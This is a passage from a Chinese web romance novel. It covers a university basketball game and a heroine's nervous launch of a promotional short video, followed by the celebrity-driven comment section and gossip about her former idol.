一方面是事实如此,还有一方面是因为虞千绾也练出了马甲线,所以她没那么嫉妒嘴硬,很不吝啬的就给出了夸奖。 该死的。 商恪景你真没出息,怎么这么好哄?连窝囊气都没生过十秒钟,甚至都没人发现你又好了? 他在心里这么腹诽自己,但唇角很诚实地上扬着。 没办法,谁让她太会讲话。 一瞬间把他所有的不快都扫走了,只剩暗爽。 住院那天就持续困扰着他的问题终于有了答案,而且还是个超越满分的答案。 虞千绾不知自己一句发自内心但没丁点对异性感情的大实话让商恪景心绪有了那么大的起伏,她朝着身边的空座点了点下颚示意,“坐下休息会儿吧。” 还有一个很重要的原因是,她感觉到很多人在看着他们,尤其是刚刚被商恪景拒绝的那批人,眼神很是炙热。偏偏他们位置还是第一排,后面观众席所有人都可以很自然的看到他们,他们站着就更为惹眼了,还是坐着比较低调。 商恪景听话落座。 虞千绾将瓶盖拿开,把瓶身递给商恪景,他很渴,但接过后并没喝太多,因为马上还得再上场,喝太多水运动会不舒服。 他的眼睫也被汗洇湿,所以刚刚用毛巾擦脸的时候顺势也带过了眼前。 就在他微微仰头喝水的那刻,虞千绾看到他撩起的眼尾睫毛带起一根不知何时掉落的睫毛,因为方位不同,她一眼就注意到。 商恪景尚未意识到,但跟着眨眼的时候掉落的睫毛一端碰到了他的眼球泛起痛痒,他当即不适地闭了闭那只眼,边小口小口往唇里吞咽着水液边腾出另只手去揉眼睛,但他看不见自己的眼周,揉来揉去也没把那根掉落的睫毛移开。 “别动。” 眼瞧着再揉怕是都要彻底掉进他眼睛里,虞千绾身形下意识前倾,一手摁着他的手拉开,一手自然上去帮他捻起那根细长的眼睫毛,“好了。” 商恪景眨了眨眼彻底化去那点似乎还黏在眼周的不适,而后流转的视线追随着她的手腕,上头的指痕已经完全没了,“你手怎么样了?” “嗯?” 虞千绾险些都没反应过来,“喔,那个啊,没事,就捏了一下而已,皮都没破,早没感觉了。” 两人自然亲昵的肢体语言已然无声劝退了那些对商恪景感兴趣的女生,她们看着只当商恪景和虞千绾是一对,有人黯然神伤离去,有人忿忿掏出手机质问告诉她们商恪景是单身的人。 还有些人特意买了花想在京大篮球队取胜后送给商恪景,眼下看来也是白买了,商恪景连瓶水都不收,更不可能收花了,何况他原来有女朋友了…… 而且人家正牌女友就坐在那,她们哪好意思再上前送花,哪怕不出于喜欢出于单纯的欣赏也不行,有瓜田李下之嫌。 好些人都默默腹诽,明明她们得到的消息都是言之凿凿说商恪景没有谈恋爱的,否则她们也不可能过来跟商恪景表达好感了。 再度通过手机找人询问过后依然是这个结果,知情人一听描述就知道商恪景身边那人肯定是虞千绾,都道他俩只是朋友,可这种一提就能让外人猜到身边人是对方的关系足可见多么的亲密,没几个人会认为这是段纯洁的朋友关系。 而且刚刚,但凡有点眼力见的人都能看出来商恪景对上去送水的人和对虞千绾是两个态度,即使不是女朋友,她们也不好意思再上前了。 历经这么一番,观众席陆陆续续走了一小波人。 “我好像知道为什么你们俩明明外形这么优秀却母胎单身至今了。” 这话是下半场篮球赛将要开始前,商恪景起身离开座位去跟队友集合的瞬间,徐盼雁就忍不住挨在虞千绾耳边切切说的。 “怎么说?” “因为你俩的外貌都太顶了,对你俩感兴趣的人发现你们身边的彼此自觉比不上就退了,不敢再上来过多的散发信号。” 虞千绾倒是不以为然地笑了笑,“那说明那人也不怎么样啊,算是斩断烂桃花了。” 徐盼雁愣了下,再一想却是恍然大悟。 以虞千绾的家世,身边不乏商恪景这种外貌家世学历皆优秀的人,在学校里认识的人反倒只有学历,不一定有别的两项,如若对方因为看到商恪景就自动退缩那也算是给虞千绾省了麻烦,因为这种人的追求对虞千绾来说只会是困扰- 篮球赛的下半场,京科大打的比上半场还要凄惨,精气神和凝聚力基本为零。 球队里有新加入的大一学生,没正式和京大篮球队交过手,刚打的时候还有些试图力挽狂澜的劲在,但对完上个半场以后感觉到碾压,那股子劲就全散了。 篮球赛进行到尾声的时候,他们看着对方反复进球甚至有些想摆烂,都不太想去追赶了,反正也打不过,只盼着球赛早点结束,别再被这么折辱了。 最终,京大篮球队毫无悬念的赢下了这局比赛。 双方队员及教练进行友好的握手交流一系列场面礼仪。 台下的观众欢呼过后也都拿着东西有序离场,没再有人上去和商恪景搭讪。 虞千绾和徐盼雁还在原地等待他们。 魏明轩虽然没参加比赛但作为队长付出的并不比上场的大家少,比赛赢了后,队员们第一时间都冲过去和魏明轩抱在一团,情绪在那瞬间是绝对高过理智的,哪里还想得起什么面上功夫,尤其是其中两个刚加入篮球队的大一学弟,第一次赢比赛光顾着开心了,若不是教练及时提醒他们怕是早把跟对面球员礼貌互夸的流程忘到九霄云外了。 魏明轩则拄着熟练的单拐过来抱住了徐盼雁,认真同她讲,今天的胜利也有她很大功劳。 他受伤这段时间,她为球队付出了很多。 别看徐盼雁和虞千绾待在一起的时候话特别多,说起话来一套一套的,一跟魏明轩在一起就成了小女人,很容易害羞,神情瞧着都腼腆了许多,脸颊泛着微红说自己没做什么。 魏明轩更为认真的反驳她,挨个掰着手指头细数她做的事。 起初,虞千绾听着还在感慨魏明轩这人真挺不错,能看到女朋友的付出,还会及时给予正面反馈。 后来她越听越不对劲,因为理由里居然多出了这么一条—— “感谢你给我为你买饭送去宿舍的机会,不然我没有运动量肯定没法把单拐使得这么顺手。” 嗯…… 虞千绾深刻意识到,他们在虐狗。 被甜掉牙的她自觉往一旁退让,不当他俩之间的电灯泡。 她依旧一手拿着毛巾,一手拿着矿泉水等待商恪景。 但视线略有犹豫地看着毛巾,因为商恪景擦过一次,毛巾已经不太干净了,换做平常,商恪景这个有些洁癖的人肯定不会再用这条毛巾,但今天只能让他先凑合了,她第一次干这些事没经验,等到他下次球赛她就知道了,会带两条整洁的毛巾给他分别在上下半场结束的时候使用。 于是在看商恪景彻底结束朝她走过来的时候,她也主动迎上去一截,在把毛巾递上去的时候解释了番。 商恪景本来都没想到这层,毕竟身处在外,自然不比在家使用东西方便。 但听着虞千绾了然他习惯还细心想到下次来看他球赛带两条毛巾给他替换着用,唇角又难压地狠狠上翘。不过最让他高兴的还是这一次,虞千绾主动上前来迎他了,没再像上半场结束时那样一动不动的坐在位置上等他过去。 他们从来都是藏不住事的性格。 心里头想着,且见现在氛围不错,商恪景顺势也就说了,“比起毛巾的整洁度,我更在意的是某个人的态度,你刚——” 结果他美滋滋的话还没说完,听到前半截话的虞千绾就不高兴了,她将手上水的瓶盖拧上狠狠塞进商恪景怀里,没好气,“我到现在还没吃饭呢,态度还不够好?商恪景你讲话真没良心。” 什么都不提的时候,虞千绾肯定也不会计较自己的付出,因为朋友之间本来就是互相的嘛,结果他还说她态度,这样程度就完全不一样了,虞千绾听着很不爽,扭头就想拿着自己的包离开去吃饭,吃完再狠狠补个觉,不想再把时间花在他身上。 商恪景长腿紧急一迈,颀长身形挡在她身前解释,“我不是那意思,我没说你态度不好!我只是想说本来可以更——” 话到嘴边,商恪景又觉得越说越容易出事,怎么莫名其妙就变了味,他当即在自己嘴上打了几下,选择不再提,滑跪认错,“我错了我错了,当我没说行不行?我没良心,您大人有大量。” 另一边,正叙旧闲聊的两位教练远远瞧见这幕,感怀青春的由衷笑了笑,“还是年轻好啊,瞧瞧这些小朋友们的恋爱多鲜活。” “可不嘛,闹个别扭都跟秀恩爱似的。” “哈哈哈哈,谁说不是呢。”京科大的教练揶揄之余还有些替自己队员诉苦的情绪,“尤其那个男生。” 他指了指商恪景,“刚刚打比赛的时候可没这么温和,一球接着一球的进,现在在女孩子面前倒是把头垂得低低的。” 曹教练自然听出对面教练话语之下试图隐藏的不甘和惨败的不快,唇角微妙的上翘了一点弧度,但到底阅历多些,曹教练很快就掩下了内心的欢快情绪,故作安慰地拍了拍对面教练的肩膀,“我们篮球队队长脚受伤了你也知道,恪景是他临时找来的,这孩子第一次上场打球,下手没轻没重的,我过会儿训训他。” 对面教练闻言,彻底笑不出来了。 作者有话说:上一秒的商恪景:[愤怒][愤怒][愤怒][托腮][托腮][化了][化了][裂开][裂开][白眼][白眼][白眼] 下一秒的商恪景:[爱心眼][爱心眼][爱心眼][爱心眼][害羞][害羞][害羞][奶茶][奶茶][奶茶][哈哈大笑][哈哈大笑][红心][红心][红心][红心][红心][红心][红心][红心][红心][红心][红心][红心][红心][红心][红心][红心][红心][红心][红心][黄心][黄心][黄心][黄心][黄心][黄心][黄心][黄心][黄心][黄心][黄心][黄心][黄心][黄心][黄心][黄心][黄心][黄心][黄心][黄心][黄心][黄心][黄心][黄心][黄心][黄心][黄心][黄心][黄心][黄心][黄心][黄心][黄心][黄心][黄心][黄心][黄心][黄心] 第29章 第 29 章 撩死人了知不知道…… 三日后。 成功进入十六强的篮球队教练按照规定去到一处进行十六进八的对手和场地抽签, 最终确定京大和京市师范大学在十六进八这一轮PK中成为对手。 篮球赛的场地是在确定对阵双方后再进行抽签的,并且场地只限于双方的篮球场,所以抽到在自家主场进行比赛的机会挺大,一半一半的概率。 这一次, 曹教练的手气依旧不错, 京大与京师大这周六的篮球赛也将在京大的室内球场进行。 京师大实力要比京大上次面对的京科大强些, 但比之京大还是要弱上些许, 对他们的威胁并不大。 应该说, 在近五年来的京市高校篮球赛中,基本只要京大、京体大、京理工大这三所高校不在四强前抽到对方必须淘汰一队就都能进到前三甲的争夺里, 所以这三队只要面对的不是另外两队, 胜算都很大。 三支球队教练每次抽签时除了自身最关注的就是另外两支球队的对手,巴不得他们互相抽到对方对打, 这样自身就能坐收渔翁之利了,但希冀的那幕至今尚未出现, 三支队伍将会继续在十六进八的比赛中无情虐杀对手。 又是两天后。 嘉澍集团旗下的购物平台公开了容博延代言人的身份, 正式进入双十一前的宣传期。 虞千绾精修过好几轮、早早做好的视频也终于发了出去。 视频在电脑里保存好些日子,虞千绾反复看了不知多少遍,但许是看的次数太频繁修改的次数也太频繁,所以改到最后她都有些丧失判断力, 难以辨别到底哪一版更好, 于是她将几个视频交给助理,让助理同嘉澍那边的专业团队一起以他们专业的眼光给出建议。 那边很快就给了回复,虞千绾也就选定了那版视频作为最终版没再动过, 就是时不时的还会忍不住去看。 当在一件事上倾注的心血太多但又迟迟得不到结果,内耗就很容易发生。 虞千绾起初明明对新账号的运营很有自信的,但为了配合购物平台的官方宣传团队一直搁置着不能发出去得到及时反馈, 搁置着搁置着她就忍不住多想,怕自己的视频发出去后没有水花,跟着就联想到自己可能会把新账号作废,届时等到上个视频积攒的几个月假期结束就得老实去到嘉澍上班,之前的美好畅想全部落空。 但时而,虞千绾又觉得未来美好,一片光亮。 心想自己视频做的这么好,怎么可能会有人不喜欢?必定会爆! 念头来来回回,虞千绾感觉自己都要精分。 只盼着宣传期早点到来,无论是死是活起码让她知道,否则她的头上就像是一直有把悬而不落的利刃让她惴惴不安。而且不知道结果,连下一步往哪努力都不确定,让虞千绾这种急性子的人很是烦躁。 但真到了这天,真要面对结果了,虞千绾又紧张的不得了。 在将要把视频发出前半小时不到,她拿着手机踩着拖鞋穿着睡衣风风火火出门转身进了商恪景家。 商恪景正在卧室里看京体大和京理工大前些天32进16的比赛视频。 因为新的一年,各个学校的篮球队队员都有变动,原先那波大四的学生自不用说,基本都已毕业离校,其中还能留在本校读研并且继续愿意打比赛的人少之又少。而原本的大三队员现在也因为进到大四忙着自己的未来没多少时间参加球赛要么选择直接退出篮球队要么处于半退的状态,所以各个学校的篮球队都加入了新人,其中不乏球技好的。 曹教练便弄来了京市高校篮球赛的第一轮比赛视频发到微信群里带着篮球队的大家一起分析了解对手,再制定出对应的策略,但主要还是针对研究京体大和京理工大这两个老对手,为了后续对上他们做准备。 现在才早上九点出头,商恪景也才刚醒没多久,虞千绾前两天就在担心今天发视频的事了,昨天尤其,晚上拉着商恪景叽叽咕咕说了好多好多,凌晨睡得迟,所以商恪景不觉得她这个点会醒,就没急着去她家找她。 哪知家门的开关声突然隔着卧室门隐约传来,商恪景当即按住手机音量键,把声音调到最低,竖耳细听屋外的动静。 但这个时候,外面已经没有动静了,他的微信也没有收到来自虞千绾的消息。 就在商恪景怀疑是不是楼上楼下的动静过大震到他这里让他误听为自家门口传出的动静时,卧室门外似是有人直接整个身子都趴了上来,发出“咚”的声,闷闷声调跟着就有些可怜的传入,“商恪景……你醒了没啊,SOS……我需要陪伴。” 轻笑声瞬间从唇齿间漾出。 “来了。”商恪景掀开被子起了身,手机被他灭了屏,球赛视频自动暂停。穿鞋的同时,他理了理上身露出大片胸膛的睡衣,将在睡觉期间不知随着哪个无意识的翻动而散掉的衣扣严谨扣好。 面对心上人,他格外注意些形象,抬手将睡得微乱的头发抓了抓,确定没有滑稽上翘着的小簇短发后他才打开了卧室门。 因为刚刚听虞千绾发出的动静像是整个人都贴在门上,商恪景没贸然从内拉开门,而是微微扬声提醒了句:“我开门了。” 隔着门板,虞千绾嗡声嗡调的“嗯……”传入,低低回应着,向他示意自己听到。 饶是如此,商恪景开门时还是刻意将动作放缓了些,膝盖也稳稳抵在了门后便于在突发情况下用力撑住。 不过虞千绾已经没趴在门上了,她换了个地方趴——门框边。 她的身形被墙壁遮挡住,脑袋半探。 早上刚醒就看到这样一幕,被这样一双带有些依赖的眼注视着。 商恪景好心情地将门大敞开,双手环胸抱靠在另侧门框前,眉梢上挑,“怎么醒这么早?这还没睡够八个小时,紧张的睡不着吗?” “嗯……” 虞千绾有气无力耷拉着脑袋,“一晚上都没怎么睡好,总是睡着睡着就乍醒,下意识就想拿过手机看时间点,看视频有没有自动发送出去,看评论区的反馈,看视频的点赞量……结果到现在还没到九点半。” “那收拾收拾下去吃个早餐?做点别的事情时间可能会过得快些。” 商恪景低头看了眼手机时间,距离九点半也没多长时间了,出去随便走走就打发了时间。 “不要,我只是精神紧绷情形,但身体很困,不想动。” 虞千绾摇了摇头,“而且如果视频发出去以后突然发现有什么问题的话,在外面也不好及时修改,还是在家比较好。” “虞千绾,你脑瓜里在担心些什么?你那视频过了专业部门多少遍审核了,你自己也看了很多遍,怎么可能有问题,别在这自己吓自己了。” 觉察到她近乎过度的瞎想,商恪景哭笑不得,索性拉住虞千绾的胳膊打算直接把她带回她家换身衣服出门,不给她过多沉浸在担忧情绪里的时间。 结果虞千绾双手牢牢扒拉在门框边,死活不松,“不行,不要!我不想出去,我就是觉得一个人心太慌了,就来找你说说话,仅此而已!” 她的美甲就抠在门框边缘,仿佛稍一用力就会将指甲弄劈,商恪景顿时收了力,不敢再动她。 虞千绾也就继续那么扒拉在门框边。 拿她没辙,商恪景只能先去收拾自己,“行,那你说,我去刷个牙洗个脸,刚醒没一会儿还没洗漱。” 见商恪景是真的往洗手间的方向去,不是装模作样诓她下一秒又要给她拉出去,虞千绾这才松开门框,跟随上去,很快又扒拉在洗手间的门框边。 商恪景看着,鼻息间漫出声哼笑。 她今天跟门框干上了吗?走哪都赖着。 简单的刷牙洗脸这类日常没什么隐私,商恪景没将洗手间的门关上,如此也方便同她沟通。 清水漱口后,将牙膏挤在牙刷上放入嘴前,商恪景看了眼虞千绾,“不是要找我说说话?说。” “……” 虞千绾沉默着,没说出话。 商恪景正在刷牙,嘴里已然有了泡沫不便于说话,于是他将略带困惑的头低到她面前,朝她扬了扬眉,似是在问“怎么不说?” 虞千绾看懂了,但更惆怅了,“我也不知道说什么,就是觉得不想一个人待着。” 商恪景吐掉嘴里的泡沫,将自信时候的她说的话复述给现在的她听,“某人之前可是很严谨的对比过容博延曾经代言方发出的宣传视频数据和工作室花絮的点赞量后说自己的视频光他出现的那几帧都起码能到五万点赞量,稍微涨涨就到和昭音姐约定的十万赞,又能轻松拿到一个月假期,现在慌什么?大不了我给你买点水军呗,让水军给你狂点两百万的赞。” 虞千绾一噎,终于松开了扒拉着门框的手,转而就往商恪景肩膀上狠狠拍了一下,“你这人真是,不尊重我的劳动成果。而且两百万点赞多假啊,我姐肯定会发现的。” 商恪景本来也只是说这话逗她而已,她这段时间的努力除了她自己就是他看到的最多了。 他俩的性格在这方面也很是相像,摆烂躺平的时候是真平。面对一些不乐意干但不得不干的事,他们只会勉强弄个及格分能过得去就想,并不会太上心,也不会太过于强求苛责自己。可若是自己感兴趣真上了心想做,就算周围所有人都说行不通做不成,那也是八头牛都拉不回的,不撞到头破血流不会放弃,即便眼前面对着的是百分之九十九的败率,他们也会用那感知到的百分之一宽慰自己走下去。 没有人不怕失败,没有人不想轻松迎接成功,他们自然也是。 但商恪景深知引起虞千绾而今这个反应的最大原因不是失败,因为他之前就发现,她已经在做后续的视频了,而且不止一条,她认真写了好几个脚本,还有准备后续打算和助理沟通让嘉澍配合想要拍摄的一些内容。这就代表,无论这条视频成功与否,她都已经做好了向下继续的决定,只是目前一直得不到反馈让她饱受时间煎熬有些难受罢了,实则无论好或坏她都会接受。 商恪景不知道她有没有意识到,她现在对待视频的态度已经越来越远离一开始与昭音姐打赌的初衷了,现在的她已经在用百分百的认真在好好对待工作了,就连十万赞换一个月假期这事她都越来越少提起了。 商恪景觉察到,但事已至此,当下能让她舒服的就是让她尽快度过这剩余的二十分钟,只要到了视频自动发出的点,她收到了网友给到的反馈也就好了。 于是他继续顺着虞千绾的话揶揄,“那这样,咱就买一点,比如你视频到了五十万点赞的话,偷偷买到六十万,这样应该不容易被发现。不然你的点赞量要是定格在五十九万九的话多亏啊,再多一千就能多一个月假期了。” 新账号创立的本身就是带有极强的宣传和商业向的,虽然算是种软广,但还是远不能和娱乐向的视频对比的。 所以虞千绾压根不指望这条视频能达到上条视频那样突出的点赞量和传播度,毕竟两条视频性质和定位不同,并且像上条视频那样的成绩不是随便能出的,除去能力外还需要一定的运气和契机。互联网上那么多技术流,爆款视频却少之又少就是最好的论证。 但在听着商恪景张口就是五六十万点赞的时候,深知虚假的她还是很难不开心,就像在社交礼仪中商业互夸的双方都知道对方的话不一定发自真心,可听到耳朵里落到心里还是美滋滋的。 虞千绾此刻就是这种状态,并且,她甚至觉得商恪景说的话有些道理,实在是他的例子举得太好太让人心动——五十九万九和六十万两个相差并不大的数字,仅仅一千的点赞量却代表着一个月的假期。 不自觉地,虞千绾开始顺着他的话向下思考,“我之前还真没想过这些,不过我觉得买的点赞量不夸张的话,我姐肯定觉察不到,她甚至都不怎么关注短视频,但不知道能不能瞒住专业团队,我姐肯定会问她助理有关我的工作。但如果真的只是差一千几百这种小数字,我姐就算知道应该也会睁只眼闭只眼吧?” “虞千绾。” 商恪景含糊喊她名字,短短的三个字里透着浓浓的笑音。 “嗯?” 商恪景漱去嘴里的泡沫,这才更加清楚的将话诉出,笑意也更明显,“咱能不能多正经几秒?你上一秒还在谴责我不尊重你的劳动成果,下一秒就在自己说这些话,你觉得合适吗?” “那怎么了,这两者不一样。我自己可以说,你不可以说我。而且我只是这么说说,又不会真的做,毕竟我这个账号代表的是嘉澍集团,我还是很知道轻重的。” 虞千绾很理直气壮地回说,但脑袋不自觉也笑仰了过去。 商恪景斜睐她眼,低下头去洗脸,边洗边笑。 虞千绾推搡他一下不许他笑,他反倒笑得更厉害,惹得虞千绾也很难绷。 明明一开始就是个寻常到不行的交流,短暂笑一下过去就行了,结果听着对方笑声的两个人都笑到难停。 他们仿佛有着自己的小世界,别人或许觉得无厘头,他们却在其中感受缤纷。 不太正经的诙谐氛围确实把虞千绾的注意力从视频工作里转移了出来,让她在无意识间已经没再多想。 很快,商恪景洗漱完,两人一起去了沙发上窝靠着。 闹笑的劲退散了些,虞千绾又开始忍不住去观察时间,去想视频的事。 商恪景显然意识到,也在想办法继续吸引她注意力。 他先是顺手拿过电视遥控器,而后大抵是想到这种时候虞千绾看不进去电视,转而又放下了遥控器换成手机,给她看了几眼比赛视频,提了几句后续比赛的事。 因为知道虞千绾对篮球没兴趣,商恪景仅是以这个开局,并没聊太深太久,跟着就丝滑转到她之前观赛时从徐盼雁那得到的八卦上。 她们俩最近因为球赛和日常训练见面得很频繁,说的八卦太多,加之虞千绾近期忙着工作的事,她还没来及把从徐盼雁那知道的所有八卦都转述给商恪景听,只说了些比较炸裂或者都认识的朋友的瓜。 商恪景主动提起来这个确实是个很好的话题,只不过在当下这个时间点,虞千绾很容易就猜到商恪景的意图,知道他是想帮自己转移注意力。 饶是如此,她依旧顺着商恪景的话题向下,即使她还是会忍不住担忧视频,但有话聊总比孤寂着好,多多少少能让她少些心焦感。 两人就这么一直聊到九点半,期间,虞千绾其实已经逐渐沉浸入聊天里,跟商恪景越聊越起劲,对视频的焦虑只剩那么一点。 但她为了提醒自己视频发送了出去,昨天就特意定了个九点半的闹钟,这会儿骤然响起。 虞千绾分享的话一秒停住,瞳孔骤缩,赶忙低头紧张去找手机,摁掉闹钟后飞速点入短视频APP查看。 商恪景也将头探过去垂视着她的手机屏幕,无声在心里为她祈祷。 不过无论是理性还是感性,他很相信她能够做成,所以并没她那么紧张,更多的是期待她得到正面反馈时展露出的笑颜和憋在嗓子眼“我就知道你能行”的夸赞。 毕竟是账号的第一条视频,且才刚刚发出去估计都没几个人看到,虞千绾都做好打开账号没有点赞评论只有零星几个凄惨浏览量的准备了,没想到居然还有两条评论,她一刷,又跳出一个长评。 三位发评人的ID后面都有系统自带的[粉丝]两个字标志,皆是关注了她的账号才会显示的,应该都是当初官号的那则视频小爆后引流过来的网友。 前两条是没什么参考价值的评论: ——【首评!】 ——【第一第一】 ——【诶,刚弹出来个提醒说我关注的人发视频了,我完全不眼熟这个ID还以为自己被买粉了呢,细看才发现原来是嘉澍小公主~终于等到你发视频,还好我没放弃。】 第三条则是这种熟悉的浮夸称呼和豪门小说味。 瞬间就将虞千绾的记忆拉回那段时间官号视频小爆的时候,这种感觉让她无措曲指蹭了蹭额头,既尬又想笑。 赶忙,她拿着手机的右手拇指在评论区刷新了下,想刷出新的评论压下这条,也想看看别的评论。 偏偏这时候,耳边响起了某人的声音,“嘉澍小公主。” 商恪景其实是在用正常的声音讲话,但这五个字让虞千绾实在感到羞耻,所以哪怕是正常的声线落到耳朵里都觉得浑身要起鸡皮疙瘩,尤其还是从熟人的口中出来。 但此刻,虞千绾的注意力都放在评论区里,她挪不开视线给到商恪景,而且商恪景这人越搭理越起劲越爱玩,所以她只是警告地“啧”了他一声。 “怎么了小公主?” 这一次,商恪景略微拿腔作调的。 “商恪景你好烦,快闭嘴。” 虞千绾耳朵都有些红温,终于受不了地嗔了他眼。 商恪景很是戏精地捂着心脏一秒后仰倒在沙发上,“好心碎,需要我的时候不顾我睡没睡醒就来喊我,现在不需要我了就凶我。小公主你怎么这样?就因为你是公主吗?公主就可以不管别人死活了吗?” 虞千绾被他弄得啼笑皆非说不出话来,她抬手就在商恪景小腿打了下。 得到回应的商恪景演得更起劲了,“啊!公主犯法与庶民同罪。” 虞千绾尬到掩面沉默了十几秒,最后选择惹不起还躲不起嘛,她朝侧边挪了挪,一直贴到了沙发边缘到不能再边缘的位置继续刷评论,掩面的那只手保持着没有放下来。 商恪景在沙发上又戏精地嚷了几句,但因没人搭理,顿觉无趣的收了声,哀怨坐起身看着虞千绾。 虞千绾感知到,将掩面的手微侧,一声不吭默默阻隔在他们俩之间。 商恪景倾身抬手抵开她的手,直直看着她的脸。 虞千绾依旧没看他,但手上用力试图压过商恪景的力气回归原位,商恪景也用着力。 两人的手就这么呈对峙状无声激战着。 直到视频开始有流量,评论区逐渐刷不过来且大多都是友好评论时,商恪景才没再打扰虞千绾。 他已然如愿看到了她松懈下来的身形和眉眼间漾开的笑,无声瞧着也笑了笑,正巧手机因为曹教练在微信群里@全体成员而震动,他便低下头继续去处理自己的事。 应该是嘉澍集团那边的协商。 虞千绾已然有些热闹起来的评论区里居然出现了容博延认证账号的评论,紧跟着,容博延的工作室也来给了支持,评论区的热闹程度瞬间又上了许多达到峰值。 容博延很少参加线下活动,也不太喜欢在自己的账号上营业,大多时间都待在剧组里拍戏,所以他的粉丝只要在别人的视频里看到没出现过的容博延画面都很积极热切。 虞千绾的首条视频本就因为有容博延的存在涌入了不少真爱粉和路人粉,这下正主进场更是又带来不少热度。 有些速度快的粉丝已经把虞千绾视频里的容博延截了出去,或做美照或添上新的BGM做成别的风格的短视频宣传出去。 信息茧房,还有一些容博延的粉丝没刷到虞千绾的视频,毕竟她的视频相对短视频来说有些长,而且容博延只出现了一小截,还不是在开头。但一些人在专门制作容博延视频的粉丝账号里看到了片段,纷纷在评论区询问视频来源是哪里,她们怎么没看到,然后便有人为其解答@了虞千绾的账号。 传播度最广的还是容博延及其工作室在虞千绾视频下的评论,粉丝直呼【老公,你让我感到陌生!】 还发出眼红的艳羡声:【谁懂啊,我哥因为不怎么给人签名,签名照都炒到了五位数,结果人家不仅有合影还有本尊的评论,我还很心服口服的承认是我家哥哥高攀了。为我哥接嘉澍更多商务!信女祈祷(双手合十.emoji)】 路过的追星族也把评论区当成了许愿池: 【呜呜呜,重生之我是嘉澍小女儿】 【接,我大接特接!老天奶,下辈子我就要这种人生!】 紧跟着,营销号开始入场,评论区那类有关“大小姐”“小公主”“商业帝国——嘉澍集团”的字眼和言辞又夸张的发酵了起来。 在一众热闹声中,不可避免的,常桦的名字还是出现在了虞千绾新账号的评论区里。 但因为视频开始推流以后,尤其容博延来了后,虞千绾完全看不完评论了,评论出现的速度比她看的速度快太多太多,在她冷不丁刷到第一条和常桦有关的评论时,下面已经有人回复了楼中楼。 大多是容博延家粉丝的回击。 因为他家跟常桦在娱乐圈的地位简直一个天一个地,常桦的名字出现在这,他家粉丝只觉得是常桦粉在蹭自家热度。 常桦那点粉丝量自然没法和容博延的粉丝相提并论,很快就被骂到删评,又或是不再回复。 同样,以他的那点粉丝量也没法在评论区掀起太大风浪。 比之他粉丝的评论,【常桦是谁】/【ch是谁】/【请全世界说中文】/【为什么都要缩写,说全名犯法吗?】/【字好多,有没有简洁版瓜给我吃吃】这类评论的点赞量倒更高。 评论区里有几个粉丝为了帮常桦说话莫名抹黑虞千绾,幸而,这几个粉丝ID虞千绾并不眼熟,所以并没有在虞千绾心里激起什么波澜。 反倒在楼中楼里面,虞千绾看到几个为她讲话的熟悉ID,那些眼熟ID都在让层主删评,说虞千绾已经脱粉过自己的生活了,支持脱粉自由。不管她最后留下的[快跑]两个字究竟是什么意思,她给常桦做站姐期间给的钱和时间都是真的,没有任何一个常桦粉丝比她做得多,所以没资格在这说什么打扰她的生活,而且这里压根不是常桦的主场,提了只会给常桦招黑,如果真喜欢常桦就快点删评,不要败坏路人好感。 虞千绾看的眼眶都有些湿润,最让她感怀庆幸的还是这些ID眼熟的朋友基本都已经脱粉了常桦——她专门点进了她们的账号主页查看,里面没有和常桦有关的宣传视频了,她很确定在之前她们的主页都有很多常桦的视频,因为那时,她们经常在一个群聊里聊灵感,想着怎么样能让常桦更火一点,绞尽脑汁努力为常桦剪辑视频想让更多人注意到他。她们一起做数据、研究热点、并且常在一些适合常桦咖位且要组织线下的官方号评论区努力向他们推荐常桦,就连推荐邮件都发过不知多少封。 评论区也不是没人注意到常桦,而且当初虞千绾给男网红当氪金大粉的事也被营销号弄得沸沸扬扬,当时刷到这个事当瓜吃的人并不少。 但大抵是因为两人身份悬殊太大,并且虞千绾的评论区里就有个绝对碾压常桦的容博延,所以网友们都下意识把虞千绾放在高位,认为她当初只是和常桦玩玩而已,没了新鲜感不再给常桦砸钱很正常。 网友甚至都不认为这种玩玩是玩感情,而是无聊解乏的手段。就算是玩感情,也不可能是真感情,常桦这种职业这种普通背景怎么可能嫁得入豪门,简直是痴人说梦。网友都觉得是常桦粉丝对常桦的滤镜太厚,犯了癔症。 虞千绾看到这种评论,很是面臊,尤其看到别人把她统称为那类“很强势心机很深沉,外表单纯如小白兔内心精明如蛇蝎,压根不可能有情丝的有钱人”行列时,她脸颊窘迫的迅速红温了。 因为彼年的她太愚蠢,同网友们的想象完全相背……如果重来一次,她也想做那个内心精明不动真感情的有钱人。 有关常桦的评论在热闹的评论区不足百分之一,但每当虞千绾要忘记上一条有关常桦的评论时,下一条有关他的又乍然出现在眼前,让她不自在极了。 网友的那些评论大多都不是事实,可只要一看到,虞千绾脑海里莫名就会联系到自己当初的一些愚蠢举措,她感觉自己在被反复拉出来鞭尸。 常桦已然成了她的黑历史。 因为这个黑历史被反复提及,右手刷着评论,左手抵着额头的虞千绾将脑袋越垂越低。 倏地,她低垂狭窄的视线里猛然挤入商恪景的半张脸,他就那么不设防地突然将头压得比她还低,自下而上看她,“你脸怎么通红?” 感到丢人,虞千绾不想说,下意识狡辩,“才没有。” “没有?” 商恪景笑出了声,他想虞千绾大概不知道自己的脸有多红,否则也不能说瞎话说到这种程度。 但真问出结果以后,笑不出的人变成了他。 “常桦”这两个字就像是操控商恪景情绪的开关,一听到各种不快都涌了上来。 哪怕他清楚虞千绾现在提到常桦并不是出于喜欢,甚至全都是负面的,但这也不行。他自私的不想让虞千绾的情绪再因为常桦这个人产生一丁点的变化,这样,是不是才真的代表虞千绾完全不在意常桦了,毕竟不是有句话叫恨比爱长久吗? 商恪景这么想。 但这样的念头做起来实在难,毕竟连他自身听到常桦的名字都无法保持平静,更何况是深受其害的虞千绾。 两个小人在脑袋里打架,一边是极强的但没身份的占有欲,一边是推己及人的思考。 到底还是前者略占上风,秉持着眼不见为净想法的商恪景抬手就想拿过虞千绾的手机,“不想看就删掉,我帮你删,反正一共也没多少,我时间多的是。” “不行!” 虞千绾立即将手机往身后背,拍打开商恪景的手不许他拿,很有理智道:“那样岂不是更显得欲盖弥彰?本来没什么人关注到的,越删越容易出事。估计再等我发几条视频,评论区就不会再出现和他有关的评论了。” 这也不行那也不行。 商恪景有些憋屈的闷了几秒,索性选择探出手在虞千绾发顶没有章法地乱揉了几下发泄,“记住这种感觉,以后别再随便对男人心动了,不然还可能遇到比这更窘迫的境遇。” 他不爽到连自己都纳入攻击,“这世界上就没几个男人是好东西。” 既然她不喜欢他,他们没法在一起,那他就潜移默化地一直跟她灌输这些想法,让她别喜欢上别人。 